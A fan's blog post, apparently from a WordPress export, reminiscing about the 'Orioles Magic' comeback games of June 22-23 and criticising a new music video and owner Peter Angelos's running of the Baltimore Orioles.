I don\u2019t know what to say about this video. I grew up a Baltimore Orioles fan, but don\u2019t follow the team much anymore. Part of it is a busier lifestyle. Part of it is my gravitation towards soccer. But a lot of it is the absolutely shitty way Peter Angelos has run the team.<\/p>\n

When I hear the song \u201cOrioles Magic,\u201d I honestly get chills. I remember when it started on June 22-23. The Orioles won the game on the 22nd<\/a> in the ninth inning with a home run by Doug DeCinces, did the same thing in the first half of the doubleheader<\/a> on the 23rd when Eddie Murray went deep, then broke a 5-5 tie<\/a> in the bottom of the eighth to win the nightcap. I remember listening to the doubleheader on the radio as my family cooked out that night. We all knew that team had something special.<\/p>\n

Orioles Magic just happened. It developed into a marketing campaign, but that wasn\u2019t the intention. The concept grew from a gritty team that went on a wonderful march on the way to the World Series. Orioles Magic truly meant something to the people who followed the team back then.<\/p>\n

I certainly appreciate the energy of the current team and their willingness to connect with the many fans like me who just can\u2019t believe what Peter has done to our team. But Orioles Magic is much more than a music video. You can\u2019t just trot the song out with new players because when you show the new highlights, we see how empty the stadium is, and we know why.<\/p>\n

With all due respect to Kevin Millar, he\u2019s no Rick Dempsey, no Eddie Murray, no Doug DeCinces. I\u2019m glad the team has started to play some better ball, but it takes a lot more than a cheesy video and a decent April to make up for what longtime Orioles fans have suffered. Show us some real magic, something close to a pennant race, then you can try and connect with the old days.<\/p>\n<\/body>","protected":false},"excerpt":{"rendered":"
